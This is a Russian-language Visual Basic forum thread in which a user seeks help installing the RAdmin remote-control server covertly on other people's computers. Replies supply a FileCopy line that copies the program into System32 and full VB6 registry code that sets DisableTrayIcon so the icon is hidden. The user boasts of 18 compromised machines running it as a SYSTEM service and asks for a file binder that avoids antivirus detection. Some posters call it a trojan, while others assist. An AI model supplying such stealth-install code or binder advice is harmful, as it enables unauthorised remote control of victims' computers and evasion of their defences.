как скопировать саму себя...

[Jenizix]

как скопировать саму себя например в system32 ???
я это как-то делал, но было давно, уже забыл...
чувствую что это делается как-то по ламерски, но немогу понять как...

[Mleha]

FileCopy App.ExeName & ".exe" , Environ("Windir") & "\System32\Proga.exe"

[A.A.Z.]

Опять вирусописательство?

[ANDLL]

Кстати, в win9x в папке system32 лежит не так много файлов, как надеется автор...

[EvilCoder]

Эх скатываемся...
помоему уже Пора эту тему в FAQ...
http://bbs.vbstreets.ru/viewtopic.php?t=11835&highlight=

[Jenizix]

да эт меня друг попросил чтоб я ему прогу написал которая скопирует сервер радмина в system32... ну а дальше понятно.... просто я его сначала не понял...
всем спасибо....

[alibek]

А зачем?
При установке сервисе все нужные файлы сами копируются куда надо; просто надо запустить с параметров r_server /install. Только зачем ему эта штука? В условиях локальной сети есть гораздо более удобные утилиты. В условиях же Internet лучше RAdmin не использовать для своего же блага.

[tyomitch]

Думаю, это такая "шутка": незаметно поставить соседу radmin, чтобы рулить его компом. Эффект продвинутого трояна при минимуме затрат.

[alibek]

Не согласный я
Видеть чужой или даже управлять мышкой и клавиатурой это несерьезно. А вот скрытый терминал - это круто А в RAdmin'е терминал слишком ограниченный.

[Jenizix]

вот еще трабла... как записать в реестр данные типа REG_BINARY...

сюда: HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters
надо записать вот это:
DisableTrayIcon=01 00 00 00 (тип REG_BINARY)

дайте простенький пример плиз...

[alibek]

Да, натуральный троян

[_Hiser_]

Я пробовал всё получается. Пробуй!

Код: Выделить всё

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.

Private Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As Long
        bInheritHandle As Long
End Type

Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const KEY_CREATE_SUB_KEY = &H4
Private Const KEY_SET_VALUE = &H2
Private Const REG_BINARY = 3

Private Sub SetRegBin(ByVal Key As Long, ByVal SubName As String, ByVal ValueName As String, Value() As Byte)
Dim hkey As Long
Dim sa  As SECURITY_ATTRIBUTES
If RegCreateKeyEx(Key, SubName, 0, "", 0, KEY_CREATE_SUB_KEY Or KEY_SET_VALUE, sa, hkey, 0) <> 0 Then Exit Sub
RegSetValueEx hkey, ValueName, 0, REG_BINARY, Value(0), UBound(Value) + 1
RegCloseKey hkey
End Sub

Private Sub Command1_Click()
Dim buff(3) As Byte
buff(0) = 1
buff(1) = 0
buff(2) = 0
buff(3) = 0
SetRegBin HKEY_LOCAL_MACHINE, "SYSTEM\RAdmin\v2.0\Server\Parameters", "DisableTrayIcon", buff
End Sub


[Ramzes]

Да ладно вам, все равно в трее будет видно значок радмина , и влокалке он рулит а в инете если через проксю работать то он даже законектиться не сможет

[Jenizix]

все равно в трее будет видно значок радмина

ну для этого я и спросил про реестр, создаем DisableTrayIcon(тип REG_BINARY) со значением 01 00 00 00 в HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters и все значка в трее больше нет!

[Ramzes]

Все равно будт в автозагрузке видно
А вот если вы ламеру какому нить собираетесь эту фигню подкинуть тогда респект вам
Только придумайте что нить поостроумнее

[Jenizix]

он как сервис запускается! с правами системы!!!
у нас уже 18 компов!!!
вот теперь хочется сделать все в одном ЕХЕ, т.е. сам сервер, длл'ка и моя прога прописывающая в реестре значение... когда его запускаеш все копируется в system32 и запускается с определ. ключами... Нашел прогу СуперКлей, но на склеенный файл антивирь ругается, есть и проги которые все нормально сделают?